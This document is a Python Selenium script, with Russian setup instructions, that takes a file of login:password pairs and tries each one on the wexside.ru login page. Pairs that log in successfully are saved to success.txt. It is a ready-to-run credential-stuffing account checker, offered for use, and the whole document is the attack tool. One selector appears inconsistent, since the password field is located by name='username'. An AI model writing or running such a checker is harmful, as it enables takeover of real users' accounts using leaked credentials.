"""
Проверяет активность аккаунтов на wexside.ru
Для запуска необходимо установить Python 3.12 c официального сайта.
Создать файл main.py и поместить в него код программы.
Рядом с файлом разместить файл с аккаунтами и назвать его login_password.txt

Установка зависимостей:
    pip install selenium

Запуск:
    python3 main.py

"""
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

def check_accounts(file_path):
    chrome_options = Options()
    # chrome_options.add_argument('--headless')
    chrome_options.add_argument('--disable-gpu')
    chrome_options.add_argument('--no-sandbox')
    driver = webdriver.Chrome(options=chrome_options)

    with open('success.txt', 'a') as success_file, open(file_path, 'r') as f:
        accounts = [line.strip() for line in f if ':' in line]
        for line in accounts:
            login, password = line.split(':')
            try:
                driver.get('https://wexside.ru/login')
                username_input = WebDriverWait(driver, 1).until(
                    EC.presence_of_element_located((By.CSS_SELECTOR, 'input[type="text"][name="username"]'))
                )
                password_input = driver.find_element(By.CSS_SELECTOR, 'input[type="password"][name="username"]')
                username_input.clear()
                username_input.send_keys(login)
                password_input.clear()
                password_input.send_keys(password)
                login_button = WebDriverWait(driver, 1).until(
                    EC.element_to_be_clickable((By.XPATH, "//button[./span[text()='Войти']]"))
                )
                driver.execute_script("arguments[0].scrollIntoView(true);", login_button)
                driver.execute_script("arguments[0].click();", login_button)
                WebDriverWait(driver, 1).until(EC.url_changes('https://wexside.ru/login'))
                current_url = driver.current_url
                if current_url != 'https://wexside.ru/login':
                    print(f"[+] Успешный вход: {login}")
                    success_file.write(f"{login}:{password}\n")
                    success_file.flush()
                    # Перезапускаем браузер после успешного входа
                    driver.quit()
                    driver = webdriver.Chrome(options=chrome_options)
                else:
                    print(f"[-] Неудачный вход: {login}")
            except Exception as e:
                print(f"[!] Ошибка при проверке {login}: {e}")
    driver.quit()

if __name__ == '__main__':
    check_accounts('login_password.txt')
